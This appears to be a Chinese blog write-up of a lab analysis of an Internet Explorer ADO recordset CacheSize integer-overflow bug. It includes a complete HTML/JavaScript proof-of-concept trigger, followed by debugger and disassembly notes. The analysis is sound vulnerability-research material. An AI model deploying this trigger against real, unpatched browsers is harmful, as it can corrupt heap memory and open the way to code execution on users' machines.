实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows 7 | |
虚拟机 | Vmware | |
调试器 | Windbg | |
反汇编器 | IDA Pro | |
漏洞软件 | IE |
漏洞分析
由于系统已经安装了SP1补丁,导致漏洞失效,所以此处只进行静态分析。
首先查看Poc代码。(这个书附赠的文件居然没有)
<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start()
{
alert("Start poc");
localxmlid1 = document.getElementById('xmlid1').recordset; // 获得xml元素localxmlid1的recordset
localxmlid1.CacheSize = 0x40000358; // 设置能被保存的记录条数
for(var i=0; i<0x100000; i++)
{
// 创建新记录
localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
// 记录指针移到第一个
localxmlid1.MoveFirst();
}
}
</script>
<body onLoad="window.setTimeout(Start, 100); " id="bodyid">
<? xml verion="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>
随后可以通过google搜索recordset site:http[:]//www[.]geoffchappell[.]com来获取recordset的函数。
三个函数如下:
随后对函数下断点,执行poc,确定调用的函数。
若其上没有搜索到,可以通过在DLL文件搜索符号表,搜索关键词Function window下Alt+T搜索cachesize,Ctrl+T下一个。
随后开启页堆运行poc,断在如下位置
!heap -p -a 查看堆信息。
堆块是在MoveFirst函数中的MpHeapAlloc中分配到,而MoveFirst函数就是处理poc.html的localxmlid1.MoveFirst的。所以在MoveFirst和MpHeapAlloc的前一个函数下端也就是AllocateHRowRange+0x85。
回溯发现传入的堆块大小为0xd64,来源于eax*4+eax,eax=edi,edi来源于cachesize。
而eax*4+4即=0x40000358*4+4=0xd64也就是整数溢出了。ida中查看的这一段
查看了一下机器上的msado15.dll,果然我打的sp1补丁修复了漏洞。
首先看edx的值是否为0,如果为0,则ZF=1,否则ZF=1,CF=1那么就跳转不分配,然后再将edi与0xFFFFFFFF对比,edi<=0xFFFFFFFF就跳转。
个人觉得恒成立,主要是前面判断起的作用,因为edi最大值也就是0xFFFFFFFF。
文章评论